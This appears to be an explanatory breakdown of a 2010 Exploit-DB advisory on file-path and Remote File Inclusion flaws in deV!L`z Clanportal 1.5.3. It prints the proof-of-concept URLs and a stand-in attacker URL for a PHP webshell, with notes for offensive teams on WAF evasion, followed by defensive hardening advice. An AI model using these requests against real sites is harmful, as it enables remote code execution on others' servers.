Understanding Multiple Vulnerabilities in deV!L`z Clanportal 1.5.3

What this paper is

This paper, published by indoushka in April 2010, details multiple vulnerabilities found in deV!L`z Clanportal version 1.5.3. The vulnerabilities include a "location replace" issue and Remote File Inclusion (RFI) flaws. The author demonstrates how these weaknesses can be exploited to potentially execute arbitrary code or manipulate the web application.

Simple technical breakdown

The paper highlights two main types of vulnerabilities:

1. Location Replace: This vulnerability appears to stem from how the thumbgen.php script handles image paths. By providing a specific path enclosed in square brackets, an attacker might be able to influence where the script looks for or processes files, potentially leading to unintended file access or manipulation.
2. Remote File Inclusion (RFI): This is a common web application vulnerability where an application includes external files based on user-supplied input without proper sanitization. In this case, the RFI vulnerabilities are found in server/index.php, inc/bbcode.php, and inc/menu-functions/server.php. An attacker can exploit this by providing a URL to a malicious script hosted on an attacker-controlled server, causing the vulnerable application to download and execute it.

Complete code and payload walkthrough

The provided exploit snippet is not a full exploit script but rather examples of how to trigger the vulnerabilities. It demonstrates the URL structure for exploiting the "location replace" and RFI vulnerabilities.

1 - Location Replace Example:

http://127.0.0.1/dzcp1.5.3/thumbgen.php?img=[d:\11.jpg]

• http://127.0.0.1/dzcp1.5.3/thumbgen.php: This is the target script (thumbgen.php) within the deV!L`z Clanportal 1.5.3 installation.
• ?img=: This indicates the start of the query string, where parameters are passed to the script.
• [d:\11.jpg]: This is the critical part. The img parameter is set to a path enclosed in square brackets. The vulnerability likely lies in thumbgen.php's handling of this img parameter. Instead of sanitizing or validating the input, it might be directly using this path, potentially allowing an attacker to specify arbitrary local file paths.

Practical Purpose Mapping:

• http://127.0.0.1/dzcp1.5.3/thumbgen.php: Target script for exploitation.
• ?img=[d:\11.jpg]: Input parameter designed to trigger the "location replace" vulnerability. The square brackets and the path d:\11.jpg are crucial for this specific exploit example.

2 - RFI Examples:

http://localhost/dzcp1.5.3/server/index.php?get[status]=[EV!L]
http://localhost/dzcp1.5.3/inc/bbcode.php?lng=[EV!L]
http://localhost/dzcp1.5.3/inc/menu-functions/server.php?get[status]=[EV!L]

These examples demonstrate the RFI vulnerabilities. The placeholder [EV!L] is meant to be replaced by a URL pointing to a malicious script.

• http://localhost/dzcp1.5.3/server/index.php?get[status]=[EV!L]:

  • http://localhost/dzcp1.5.3/server/index.php: The vulnerable script.
  • ?get[status]=: The parameter used to pass user input. The [status] part suggests a nested array structure might be involved in how the parameter is processed.
  • [EV!L]: This placeholder would be replaced by a URL, e.g., http://attacker.com/shell.txt. The script would then attempt to include and execute the content of shell.txt.

• http://localhost/dzcp1.5.3/inc/bbcode.php?lng=[EV!L]:

  • http://localhost/dzcp1.5.3/inc/bbcode.php: Another vulnerable script.
  • ?lng=: The parameter used for input.
  • [EV!L]: Placeholder for the malicious URL.

• http://localhost/dzcp1.5.3/inc/menu-functions/server.php?get[status]=[EV!L]:

  • http://localhost/dzcp1.5.3/inc/menu-functions/server.php: A third vulnerable script.
  • ?get[status]=: Similar parameter structure as the first RFI example.
  • [EV!L]: Placeholder for the malicious URL.

Practical Purpose Mapping:

• http://localhost/dzcp1.5.3/server/index.php, http://localhost/dzcp1.5.3/inc/bbcode.php, http://localhost/dzcp1.5.3/inc/menu-functions/server.php: Target scripts for RFI exploitation.
• ?get[status]=, ?lng=: Input parameters that are vulnerable to RFI.
• [EV!L]: Placeholder for the attacker-controlled URL containing the payload (e.g., shellcode or a PHP webshell).

Shellcode/Payload Segment Explanation:

The paper itself does not contain explicit shellcode bytes. The [EV!L] placeholder indicates that the attacker would provide a URL to a remote file. This remote file would typically contain PHP code.

• Stage 1 (Attacker-controlled server): An attacker hosts a file (e.g., shell.txt or evil.php) on a web server they control. This file contains PHP code, often a webshell, that allows remote command execution.
• Stage 2 (Vulnerable Web Server): The vulnerable deV!L`z Clanportal application, when tricked into including the attacker's URL via the RFI vulnerability, downloads and executes the PHP code from the attacker's server.
• Stage 3 (Execution): The executed PHP code (webshell) on the victim's server allows the attacker to send commands through HTTP requests, effectively gaining control over the web server's environment.

Unknowns:

• The exact PHP code within thumbgen.php that causes the "location replace" vulnerability is not provided.
• The specific PHP code that makes server/index.php, inc/bbcode.php, and inc/menu-functions/server.php vulnerable to RFI is not detailed. It's likely due to the use of functions like include(), require(), include_once(), or require_once() with unsanitized user input.
• The content of the [EV!L] payload is not specified, but it would typically be a PHP webshell.

Practical details for offensive operations teams

• Required Access Level: Typically requires unauthenticated access to the web application, as the vulnerabilities are triggered via GET requests to publicly accessible scripts.
• Lab Preconditions:
  • A running instance of deV!L`z Clanportal v1.5.3.
  • A web server (e.g., Apache) with PHP and a database (MySQL) configured as per the application's requirements.
  • An attacker-controlled web server to host the RFI payload (e.g., a simple PHP webshell).
  • Network connectivity between the target and the attacker's server for RFI.
• Tooling Assumptions:
  • Web browser for manual testing and verification.
  • Proxy tool (e.g., Burp Suite, OWASP ZAP) to intercept and modify HTTP requests.
  • A simple text editor for crafting payloads.
  • A command-line interface or scripting language (e.g., Python) for automating exploit delivery if needed.
• Execution Pitfalls:
  • WAF/IDS Evasion: Web Application Firewalls (WAFs) or Intrusion Detection Systems (IDS) might detect suspicious URL patterns or the inclusion of remote files. Encoding or obfuscating the payload might be necessary.
  • PHP Configuration: The target server's PHP configuration must allow remote file inclusion (allow_url_fopen and allow_url_include must be enabled). If these are disabled, RFI will not work.
  • Path Traversal/File Access: For the "location replace" vulnerability, understanding the web server's file system structure and permissions is crucial to determine what files can be accessed or manipulated.
  • Payload Delivery: The attacker's server must be accessible from the target. Firewalls or network segmentation could block this.
  • Application Logic: The specific parameters and their values might need fine-tuning based on how the deV!Lz Clanportal application processes them. The [EV!L]` placeholder is a generic example; the actual payload URL might need to be structured differently.
  • "Location Replace" Specifics: The exact behavior of the thumbgen.php script with the [d:\11.jpg] input is unknown. It could be attempting to read the file, write to it, or use its path in some other operation. Successful exploitation would depend on this specific behavior.

Where this was used and when

• Context: This paper describes vulnerabilities in a Content Management System (CMS) specifically designed for gaming clans. Such applications are often deployed on smaller, less professionally managed web servers, making them potential targets.
• Approximate Years/Dates: The paper was published in April 2010. The vulnerabilities were likely discovered shortly before this date. The software itself was developed between 2005 and 2010, indicating the vulnerabilities existed within this timeframe. It's plausible that similar RFI and path manipulation vulnerabilities were common in web applications of that era.

Defensive lessons for modern teams

• Input Validation and Sanitization: This is paramount. All user-supplied input, especially data used in file operations or included via include/require statements, must be rigorously validated and sanitized.
  • Allowlisting: Only permit known-good characters or patterns.
  • Denylisting: Avoid relying solely on blocking known-bad characters, as attackers can often find bypasses.
  • Type Checking: Ensure input is of the expected data type.
• Secure File Handling:
  • Never directly use user input to construct file paths for include or require functions.
  • If user-uploaded files are processed, store them outside the webroot and use generated, non-predictable filenames.
  • Validate file types and sizes before processing.
• PHP Configuration Hardening:
  • Disable allow_url_fopen and allow_url_include in php.ini unless absolutely necessary for specific, controlled functionality. These settings are often the root cause of RFI vulnerabilities.
  • Limit the scope of file operations by setting appropriate file permissions for the web server user.
• Web Application Firewalls (WAFs): Deploy and configure WAFs to detect and block common attack patterns, including RFI attempts and suspicious URL parameters. Keep WAF rules updated.
• Regular Patching and Updates: Keep all web applications, CMS platforms, and their dependencies updated to the latest secure versions. Vulnerabilities are often patched by developers.
• Code Auditing: Regularly audit custom code and third-party components for security flaws, especially around input handling and file operations.

ASCII visual (if applicable)

This scenario can be visualized as a simple flow of data from the attacker to the vulnerable application.

+-----------------+      +---------------------------------+      +----------------------+
| Attacker's Server|----->| Vulnerable deV!L`z Clanportal  |----->| Attacker's Control   |
| (Hosts Payload) |      | (e.g., dzcp1.5.3/inc/bbcode.php)|      | (Receives Commands)  |
+-----------------+      +---------------------------------+      +----------------------+
       ^                                 |
       |                                 | (HTTP Request with malicious URL)
       |                                 |
       +---------------------------------+
            (Attacker crafts URL)

Explanation:

• The attacker prepares a malicious script (e.g., a PHP webshell) on their own server.
• The attacker crafts a URL that targets a vulnerable script in deV!L`z Clanportal, embedding the URL of their malicious script.
• The deV!L`z Clanportal application, due to the RFI vulnerability, makes an HTTP request to the attacker's server to fetch the script.
• The attacker's server responds with the malicious script.
• The deV!L`z Clanportal application executes the fetched script, effectively running attacker-controlled code on the victim's server.
• The executed script then communicates back to the attacker's control infrastructure, allowing the attacker to issue commands.

Source references

• Paper ID: 12449
• Paper Title: DZCP (deV!L`z Clanportal) 1.5.3 - Multiple Vulnerabilities
• Author: indoushka
• Published: 2010-04-29
• Exploit-DB URL: https://www.exploit-db.com/papers/12449
• Raw Exploit URL: https://www.exploit-db.com/raw/12449

Original Exploit-DB Content (Verbatim)

========================================================================================                  
| # Title    : deV!L`z Clanportal V1.5 Mullti Vulnerability           
| # Author   : indoushka                                                               
| # email    : indoushka@hotmail.com                                                   
| # Home     : www.iqs3cur1ty.com/vb                                                                                                                                                                                                             
| # Script   : CMS © 2005 - 2010 by deV!L`z Clanportal - supported by TEMPLATEbar.de      
| # Tested on: windows SP2 Français V.(Pnx2 2.0) + Lunix Français v.(9.4 Ubuntu)       
| # Bug      : Mullti    
| # Download : freewebtown.com/indoushka/indoushka/dzcp1.5.3.zip                                                                  
======================      Exploit By indoushka       =================================
 # Exploit  : 
 
 1 - location replace :
 
 http://127.0.0.1/dzcp1.5.3/thumbgen.php?img=[d:\11.jpg]
 
 2- RFI :

http://localhost/dzcp1.5.3/server/index.php?get[status]=[EV!L]

http://localhost/dzcp1.5.3/inc/bbcode.php?lng=[EV!L]

http://localhost/dzcp1.5.3/inc/menu-functions/server.php?get[status]=[EV!L]

Dz-Ghost Team ===== Saoucha * Star08 * Redda * theblind74 * XproratiX * onurozkan * n2n * Meher Assel ====================
Greetz : 
Exploit-db Team : 
(loneferret+Exploits+dookie2000ca)
all my friend :
His0k4 * Hussin-X * Rafik (www.Tinjah.com) * Yashar (www.sc0rpion.ir) SoldierOfAllah (www.m4r0c-s3curity.cc)
Stake (www.v4-team.com) * r1z (www.sec-r1z.com) * D4NB4R http://www.ilegalintrusion.net/foro/
www.securityreason.com * www.sa-hacker.com *  www.alkrsan.net * www.mormoroth.net * MR.SoOoFe * ThE g0bL!N
------------------------------------------------------------------------------------------------------------------------